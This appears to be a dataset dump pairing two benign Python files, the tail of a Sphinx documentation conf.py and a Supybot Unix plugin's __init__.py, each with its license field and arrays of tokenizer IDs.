# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Output file base name for HTML help builder.
htmlhelp_basename = 'sphinx-guidoc'
# -- Options for LaTeX output --------------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
('index', 'sphinx-gui.tex', u'sphinx-gui Documentation',
u'Audrey Roy', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output --------------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'sphinx-gui', u'sphinx-gui Documentation',
[u'Audrey Roy'], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output ------------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
('index', 'sphinx-gui', u'sphinx-gui Documentation',
u'Audrey Roy', 'sphinx-gui', 'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False
|
bsd-3-clause
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
15882,
13,
5885,
3794,
1900,
2897,
570,
12,
2737,
701,
199,
3,
15882,
13,
28957,
641,
3868,
85,
1603,
348,
221,
841,
4119,
26,
845,
26,
1641,
6171,
14,
199,
3,
199,
3,
961,
570,
365,
22711,
342,
68,
543,
314,
1453,
2082,
663,
370,
2399,
3035,
2935,
14,
199,
3,
199,
3,
3390,
626,
440,
1006,
3962,
2897,
1338,
787,
3451,
315,
642,
199,
3,
18392,
570,
14,
199,
3,
199,
3,
2900,
2897,
1338,
1172,
282,
849,
27,
1338,
626,
787,
21804,
734,
199,
3,
14062,
370,
2498,
314,
849,
14,
199,
199,
646,
984,
12,
747,
199,
199,
3,
982,
5478,
334,
269,
4621,
370,
2213,
543,
29973,
9,
787,
315,
4573,
2082,
12,
199,
3,
1050,
3520,
6602,
370,
984,
14,
515,
2348,
14,
982,
314,
2082,
365,
3847,
370,
314,
199,
3,
3794,
1738,
12,
675,
747,
14,
515,
14,
4832,
370,
1852,
652,
3679,
12,
2839,
9164,
2348,
14,
199,
3,
1274,
14,
515,
14,
3176,
8,
16,
12,
747,
14,
515,
14,
4832,
24535,
199,
199,
3,
1553,
1696,
2897,
9527,
9858,
199,
199,
3,
982,
2195,
3794,
4839,
282,
13460,
10229,
1015,
12,
1174,
652,
2348,
14,
199,
3,
10065,
63,
8008,
275,
283,
17,
14,
16,
7,
199,
199,
3,
2654,
1263,
10229,
3329,
859,
1561,
2348,
12,
465,
3326,
14,
9322,
883,
506,
5478,
199,
3,
17262,
543,
10229,
334,
4579,
283,
8008,
14,
832,
24915,
503,
2195,
3537,
7869,
14,
199,
5359,
275,
942,
199,
199,
3,
2654,
1263,
3792,
626,
1395,
7009,
2348,
12,
3847,
370,
642,
2082,
14,
199,
5876,
63,
515,
275,
4044,
5876,
418,
199,
199,
3,
710,
4739,
402,
1350,
6203,
14,
199,
1365,
63,
4511,
275,
1987,
8332,
7,
199,
199,
3,
710,
2644,
402,
1350,
1584,
14,
199,
3,
1365,
63,
2991,
275,
283,
1624,
13,
24,
13,
4093,
7,
199,
199,
3,
710,
5288,
28310,
2213,
14,
199,
4133,
63,
1301,
275,
283,
1080,
7,
199,
199,
3,
1696,
2556,
3595,
314,
2199,
14,
199,
1715,
275,
399,
1159,
7807,
13,
5885,
7,
199,
7307,
275,
399,
7,
6965,
12,
437,
1181,
17885,
6848,
89,
7,
199,
199,
3,
710,
1015,
2256,
367,
314,
2199,
1265,
3984,
29904,
12,
17795,
465,
8343,
367,
199,
3,
1204,
1023,
92,
436,
1204,
3221,
18712,
2597,
1202,
315,
7750,
1163,
9825,
23088,
314,
199,
3,
6137,
8247,
14,
199,
3,
199,
3,
710,
3974,
1323,
14,
57,
1015,
14,
199,
1023,
275,
283,
16,
14,
17,
7,
199,
3,
710,
2615,
1015,
12,
5893,
5131,
15,
5683,
15,
1195,
3762,
14,
199,
3221,
275,
283,
16,
14,
17,
7,
199,
199,
3,
710,
2637,
367,
1564,
18392,
701,
10229,
14,
21751,
370,
3794,
199,
3,
367,
282,
769,
402,
3748,
10815,
14,
199,
3,
3671,
275,
488,
199,
199,
3,
6006,
787,
2877,
1511,
367,
15810,
1204,
8136,
25004,
1902,
12,
1265,
663,
11168,
370,
2005,
199,
3,
2222,
13,
3910,
574,
12,
2066,
652,
365,
1202,
26,
199,
3,
8136,
275,
2125,
199,
3,
19524,
12,
11168,
63,
5045,
365,
1202,
465,
314,
1475,
367,
282,
14053,
1240,
14,
199,
3,
8136,
63,
5045,
275,
1543,
34,
450,
68,
12,
450,
57,
7,
199,
199,
3,
3820,
402,
7970,
12,
3847,
370,
1350,
2082,
12,
626,
1336,
1584,
436,
199,
3,
6602,
370,
3686,
1380,
10023,
367,
1350,
1584,
14,
199,
5473,
63,
7435,
275,
4044,
1506,
418,
199,
199,
3,
710,
20883,
849,
4719,
334,
2972,
367,
642,
9189,
26,
658,
505,
10522,
370,
675,
367,
1006,
8247,
14,
199,
3,
885,
63,
3756,
275,
488,
199,
199,
3,
982,
2549,
12,
26380,
911,
506,
11544,
370,
520,
1532,
26,
5423,
14,
8059,
13,
4443,
1318,
14,
199,
3,
525,
63,
1593,
63,
25510,
275,
715,
199,
199,
3,
982,
2549,
12,
314,
1453,
859,
536,
911,
506,
20247,
370,
1006,
1369,
199,
3,
4137,
16194,
334,
10180,
465,
2508,
805,
32469,
199,
3,
525,
63,
578,
63,
1247,
275,
715,
199,
199,
3,
982,
2549,
12,
3420,
2502,
436,
28966,
13502,
911,
506,
9164,
315,
314,
199,
3,
1072,
14,
9322,
787,
5525,
701,
849,
14,
199,
3,
2384,
63,
8149,
275,
756,
199,
199,
3,
710,
536,
402,
314,
14493,
334,
7093,
22437,
9,
3449,
370,
675,
14,
199,
12173,
63,
2487,
275,
283,
8008,
7,
199,
199,
3,
437,
769,
402,
5525,
13158,
367,
859,
1478,
13351,
14,
199,
3,
27555,
63,
2330,
63,
1861,
275,
942,
199,
199,
3,
982,
2549,
12,
4215,
3598,
465,
298,
2253,
1245,
2,
26603,
315,
314,
6137,
8247,
14,
199,
3,
3250,
63,
5451,
275,
756,
421,
199,
3,
1553,
8394,
367,
4163,
1072,
9527,
2595,
199,
199,
3,
710,
8879,
370,
675,
367,
4163,
436,
4163,
15456,
6497,
14,
221,
1666,
314,
3794,
367,
199,
3,
282,
769,
402,
6762,
17915,
14,
199,
1360,
63,
7915,
275,
283,
885,
7,
199,
199,
3,
23978,
1511,
787,
8879,
13,
6100,
436,
17551,
314,
3648,
436,
23109,
402,
282,
8879,
199,
3,
9848,
14,
221,
2104,
282,
769,
402,
1511,
2808,
367,
1924,
8879,
12,
1937,
314,
199,
3,
3794,
14,
199,
3,
1360,
63,
7915,
63,
1419,
275,
1052,
199,
199,
3,
2654,
1263,
3792,
626,
1395,
3537,
17915,
2348,
12,
3847,
370,
642,
2082,
14,
199,
3,
1360,
63,
7915,
63,
515,
275,
942,
199,
199,
3,
710,
536,
367,
642,
663,
402,
10229,
8247,
14,
221,
982,
488,
12,
652,
4243,
370,
199,
3,
3886,
1715,
30,
373,
28,
3221,
30,
3794,
1674,
199,
3,
1360,
63,
1213,
275,
488,
199,
199,
3,
437,
18299,
2538,
367,
314,
19191,
4681,
14,
221,
3758,
365,
314,
2011,
465,
3517,
63,
1213,
14,
199,
3,
1360,
63,
3612,
63,
1213,
275,
488,
199,
199,
3,
710,
536,
402,
376,
1834,
570,
334,
6188,
370,
642,
2082,
9,
370,
4192,
737,
314,
2746,
199,
3,
402,
314,
18437,
14,
199,
3,
1360,
63,
9733,
275,
488,
199,
199,
3,
710,
536,
402,
376,
1834,
570,
334,
12541,
314,
2955,
931,
9,
370,
675,
465,
29139,
402,
314,
199,
3,
9149,
14,
221,
961,
570,
1077
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
15882,
13,
5885,
3794,
1900,
2897,
570,
12,
2737,
701,
199,
3,
15882,
13,
28957,
641,
3868,
85,
1603,
348,
221,
841,
4119,
26,
845,
26,
1641,
6171,
14,
199,
3,
199,
3,
961,
570,
365,
22711,
342,
68,
543,
314,
1453,
2082,
663,
370,
2399,
3035,
2935,
14,
199,
3,
199,
3,
3390,
626,
440,
1006,
3962,
2897,
1338,
787,
3451,
315,
642,
199,
3,
18392,
570,
14,
199,
3,
199,
3,
2900,
2897,
1338,
1172,
282,
849,
27,
1338,
626,
787,
21804,
734,
199,
3,
14062,
370,
2498,
314,
849,
14,
199,
199,
646,
984,
12,
747,
199,
199,
3,
982,
5478,
334,
269,
4621,
370,
2213,
543,
29973,
9,
787,
315,
4573,
2082,
12,
199,
3,
1050,
3520,
6602,
370,
984,
14,
515,
2348,
14,
982,
314,
2082,
365,
3847,
370,
314,
199,
3,
3794,
1738,
12,
675,
747,
14,
515,
14,
4832,
370,
1852,
652,
3679,
12,
2839,
9164,
2348,
14,
199,
3,
1274,
14,
515,
14,
3176,
8,
16,
12,
747,
14,
515,
14,
4832,
24535,
199,
199,
3,
1553,
1696,
2897,
9527,
9858,
199,
199,
3,
982,
2195,
3794,
4839,
282,
13460,
10229,
1015,
12,
1174,
652,
2348,
14,
199,
3,
10065,
63,
8008,
275,
283,
17,
14,
16,
7,
199,
199,
3,
2654,
1263,
10229,
3329,
859,
1561,
2348,
12,
465,
3326,
14,
9322,
883,
506,
5478,
199,
3,
17262,
543,
10229,
334,
4579,
283,
8008,
14,
832,
24915,
503,
2195,
3537,
7869,
14,
199,
5359,
275,
942,
199,
199,
3,
2654,
1263,
3792,
626,
1395,
7009,
2348,
12,
3847,
370,
642,
2082,
14,
199,
5876,
63,
515,
275,
4044,
5876,
418,
199,
199,
3,
710,
4739,
402,
1350,
6203,
14,
199,
1365,
63,
4511,
275,
1987,
8332,
7,
199,
199,
3,
710,
2644,
402,
1350,
1584,
14,
199,
3,
1365,
63,
2991,
275,
283,
1624,
13,
24,
13,
4093,
7,
199,
199,
3,
710,
5288,
28310,
2213,
14,
199,
4133,
63,
1301,
275,
283,
1080,
7,
199,
199,
3,
1696,
2556,
3595,
314,
2199,
14,
199,
1715,
275,
399,
1159,
7807,
13,
5885,
7,
199,
7307,
275,
399,
7,
6965,
12,
437,
1181,
17885,
6848,
89,
7,
199,
199,
3,
710,
1015,
2256,
367,
314,
2199,
1265,
3984,
29904,
12,
17795,
465,
8343,
367,
199,
3,
1204,
1023,
92,
436,
1204,
3221,
18712,
2597,
1202,
315,
7750,
1163,
9825,
23088,
314,
199,
3,
6137,
8247,
14,
199,
3,
199,
3,
710,
3974,
1323,
14,
57,
1015,
14,
199,
1023,
275,
283,
16,
14,
17,
7,
199,
3,
710,
2615,
1015,
12,
5893,
5131,
15,
5683,
15,
1195,
3762,
14,
199,
3221,
275,
283,
16,
14,
17,
7,
199,
199,
3,
710,
2637,
367,
1564,
18392,
701,
10229,
14,
21751,
370,
3794,
199,
3,
367,
282,
769,
402,
3748,
10815,
14,
199,
3,
3671,
275,
488,
199,
199,
3,
6006,
787,
2877,
1511,
367,
15810,
1204,
8136,
25004,
1902,
12,
1265,
663,
11168,
370,
2005,
199,
3,
2222,
13,
3910,
574,
12,
2066,
652,
365,
1202,
26,
199,
3,
8136,
275,
2125,
199,
3,
19524,
12,
11168,
63,
5045,
365,
1202,
465,
314,
1475,
367,
282,
14053,
1240,
14,
199,
3,
8136,
63,
5045,
275,
1543,
34,
450,
68,
12,
450,
57,
7,
199,
199,
3,
3820,
402,
7970,
12,
3847,
370,
1350,
2082,
12,
626,
1336,
1584,
436,
199,
3,
6602,
370,
3686,
1380,
10023,
367,
1350,
1584,
14,
199,
5473,
63,
7435,
275,
4044,
1506,
418,
199,
199,
3,
710,
20883,
849,
4719,
334,
2972,
367,
642,
9189,
26,
658,
505,
10522,
370,
675,
367,
1006,
8247,
14,
199,
3,
885,
63,
3756,
275,
488,
199,
199,
3,
982,
2549,
12,
26380,
911,
506,
11544,
370,
520,
1532,
26,
5423,
14,
8059,
13,
4443,
1318,
14,
199,
3,
525,
63,
1593,
63,
25510,
275,
715,
199,
199,
3,
982,
2549,
12,
314,
1453,
859,
536,
911,
506,
20247,
370,
1006,
1369,
199,
3,
4137,
16194,
334,
10180,
465,
2508,
805,
32469,
199,
3,
525,
63,
578,
63,
1247,
275,
715,
199,
199,
3,
982,
2549,
12,
3420,
2502,
436,
28966,
13502,
911,
506,
9164,
315,
314,
199,
3,
1072,
14,
9322,
787,
5525,
701,
849,
14,
199,
3,
2384,
63,
8149,
275,
756,
199,
199,
3,
710,
536,
402,
314,
14493,
334,
7093,
22437,
9,
3449,
370,
675,
14,
199,
12173,
63,
2487,
275,
283,
8008,
7,
199,
199,
3,
437,
769,
402,
5525,
13158,
367,
859,
1478,
13351,
14,
199,
3,
27555,
63,
2330,
63,
1861,
275,
942,
199,
199,
3,
982,
2549,
12,
4215,
3598,
465,
298,
2253,
1245,
2,
26603,
315,
314,
6137,
8247,
14,
199,
3,
3250,
63,
5451,
275,
756,
421,
199,
3,
1553,
8394,
367,
4163,
1072,
9527,
2595,
199,
199,
3,
710,
8879,
370,
675,
367,
4163,
436,
4163,
15456,
6497,
14,
221,
1666,
314,
3794,
367,
199,
3,
282,
769,
402,
6762,
17915,
14,
199,
1360,
63,
7915,
275,
283,
885,
7,
199,
199,
3,
23978,
1511,
787,
8879,
13,
6100,
436,
17551,
314,
3648,
436,
23109,
402,
282,
8879,
199,
3,
9848,
14,
221,
2104,
282,
769,
402,
1511,
2808,
367,
1924,
8879,
12,
1937,
314,
199,
3,
3794,
14,
199,
3,
1360,
63,
7915,
63,
1419,
275,
1052,
199,
199,
3,
2654,
1263,
3792,
626,
1395,
3537,
17915,
2348,
12,
3847,
370,
642,
2082,
14,
199,
3,
1360,
63,
7915,
63,
515,
275,
942,
199,
199,
3,
710,
536,
367,
642,
663,
402,
10229,
8247,
14,
221,
982,
488,
12,
652,
4243,
370,
199,
3,
3886,
1715,
30,
373,
28,
3221,
30,
3794,
1674,
199,
3,
1360,
63,
1213,
275,
488,
199,
199,
3,
437,
18299,
2538,
367,
314,
19191,
4681,
14,
221,
3758,
365,
314,
2011,
465,
3517,
63,
1213,
14,
199,
3,
1360,
63,
3612,
63,
1213,
275,
488,
199,
199,
3,
710,
536,
402,
376,
1834,
570,
334,
6188,
370,
642,
2082,
9,
370,
4192,
737,
314,
2746,
199,
3,
402,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
en0/Supybot_sasl
|
plugins/Unix/__init__.py
|
16
|
2528
|
###
# Copyright (c) 2002-2005, Jeremiah Fincher
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditions, and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions, and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the author of this software nor the name of
# contributors to this software may be used to endorse or promote products
# derived from this software without specific prior written consent.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
###
"""
Provides commands available only on Unix.
"""
import supybot
import supybot.world as world
# Use this for the version of this plugin. You may wish to put a CVS keyword
# in here if you're keeping the plugin in CVS or some similar system.
__version__ = "%%VERSION%%"
__author__ = supybot.authors.jemfinch
# This is a dictionary mapping supybot.Author instances to lists of
# contributions.
__contributors__ = {}
# This is a url where the most recent plugin package can be downloaded.
__url__ = '' # 'http://supybot.com/Members/yourname/Unix/download'
import config
import plugin
reload(plugin) # In case we're being reloaded.
# Add more reloads here if you add third-party modules and want them to be
# reloaded when this plugin is reloaded. Don't forget to import them as well!
if world.testing:
import test
Class = plugin.Class
configure = config.configure
# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:
|
bsd-3-clause
|
[
5680,
199,
3,
1898,
334,
67,
9,
14790,
13,
9397,
12,
1603,
69,
264,
2664,
11326,
11711,
7641,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
199,
3,
257,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
4245,
12,
199,
3,
258,
642,
769,
402,
3704,
12,
436,
314,
2569,
6450,
14,
199,
3,
257,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
4245,
12,
199,
3,
258,
642,
769,
402,
3704,
12,
436,
314,
2569,
6450,
315,
314,
199,
3,
258,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
257,
627,
11443,
314,
536,
402,
314,
4132,
402,
642,
2032,
6590,
314,
536,
402,
199,
3,
258,
8417,
370,
642,
2032,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
199,
3,
258,
7131,
687,
642,
2032,
1928,
2488,
6791,
5313,
406,
1150,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
221,
1621,
4825,
6461,
7000,
2334,
5877,
11489,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
5680,
199,
199,
624,
199,
17473,
3718,
2808,
1454,
641,
13074,
14,
199,
624,
199,
199,
646,
1029,
89,
3018,
199,
646,
1029,
89,
3018,
14,
7617,
465,
6701,
199,
199,
3,
3645,
642,
367,
314,
1015,
402,
642,
3589,
14,
221,
2047,
1443,
13809,
370,
5324,
282,
445,
7428,
4252,
199,
3,
315,
2348,
340,
1265,
3984,
22181,
314,
3589,
315,
445,
7428,
503,
2005,
8545,
2656,
14,
199,
363,
1023,
363,
275,
2071,
5,
4612,
8530,
2,
199,
199,
363,
2502,
363,
275,
1029,
89,
3018,
14,
8149,
14,
74,
5633,
2408,
335,
199,
199,
3,
961,
365,
282,
2600,
4412,
1029,
89,
3018,
14,
5949,
4454,
370,
5548,
402,
199,
3,
406,
26675,
14,
199,
363,
21630,
363,
275,
1052,
199,
199,
3,
961,
365,
282,
1166,
2382,
314,
4750,
8058,
3589,
2559,
883,
506,
13557,
14,
199,
363,
633,
363,
275,
2125,
327,
283,
1014,
921,
1961,
89,
3018,
14,
957,
15,
23056,
15,
16540,
21121,
15,
21607,
15,
4249,
7,
199,
199,
646,
1101,
199,
646,
3589,
199,
9233,
8,
2718,
9,
327,
1010,
1930,
781,
3984,
3769,
31848,
14,
199,
3,
2654,
1655,
295,
3640,
2348,
340,
1265,
1050,
10919,
13,
7522,
4621,
436,
2934,
3062,
370,
506,
199,
3,
31848,
1380,
642,
3589,
365,
31848,
14,
221,
7529,
1133,
19459,
370,
492,
3062,
465,
5521,
1,
199,
199,
692,
6701,
14,
4776,
26,
272,
492,
511,
199,
199,
2543,
275,
3589,
14,
2543,
199,
6472,
275,
1101,
14,
6472,
421,
199,
3,
6695,
26,
409,
20105,
29,
20,
25966,
29,
20,
26414,
1318,
2063,
29,
1965,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
3,
1898,
334,
67,
9,
14790,
13,
9397,
12,
1603,
69,
264,
2664,
11326,
11711,
7641,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
199,
3,
257,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
4245,
12,
199,
3,
258,
642,
769,
402,
3704,
12,
436,
314,
2569,
6450,
14,
199,
3,
257,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
4245,
12,
199,
3,
258,
642,
769,
402,
3704,
12,
436,
314,
2569,
6450,
315,
314,
199,
3,
258,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
257,
627,
11443,
314,
536,
402,
314,
4132,
402,
642,
2032,
6590,
314,
536,
402,
199,
3,
258,
8417,
370,
642,
2032,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
199,
3,
258,
7131,
687,
642,
2032,
1928,
2488,
6791,
5313,
406,
1150,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
221,
1621,
4825,
6461,
7000,
2334,
5877,
11489,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
5680,
199,
199,
624,
199,
17473,
3718,
2808,
1454,
641,
13074,
14,
199,
624,
199,
199,
646,
1029,
89,
3018,
199,
646,
1029,
89,
3018,
14,
7617,
465,
6701,
199,
199,
3,
3645,
642,
367,
314,
1015,
402,
642,
3589,
14,
221,
2047,
1443,
13809,
370,
5324,
282,
445,
7428,
4252,
199,
3,
315,
2348,
340,
1265,
3984,
22181,
314,
3589,
315,
445,
7428,
503,
2005,
8545,
2656,
14,
199,
363,
1023,
363,
275,
2071,
5,
4612,
8530,
2,
199,
199,
363,
2502,
363,
275,
1029,
89,
3018,
14,
8149,
14,
74,
5633,
2408,
335,
199,
199,
3,
961,
365,
282,
2600,
4412,
1029,
89,
3018,
14,
5949,
4454,
370,
5548,
402,
199,
3,
406,
26675,
14,
199,
363,
21630,
363,
275,
1052,
199,
199,
3,
961,
365,
282,
1166,
2382,
314,
4750,
8058,
3589,
2559,
883,
506,
13557,
14,
199,
363,
633,
363,
275,
2125,
327,
283,
1014,
921,
1961,
89,
3018,
14,
957,
15,
23056,
15,
16540,
21121,
15,
21607,
15,
4249,
7,
199,
199,
646,
1101,
199,
646,
3589,
199,
9233,
8,
2718,
9,
327,
1010,
1930,
781,
3984,
3769,
31848,
14,
199,
3,
2654,
1655,
295,
3640,
2348,
340,
1265,
1050,
10919,
13,
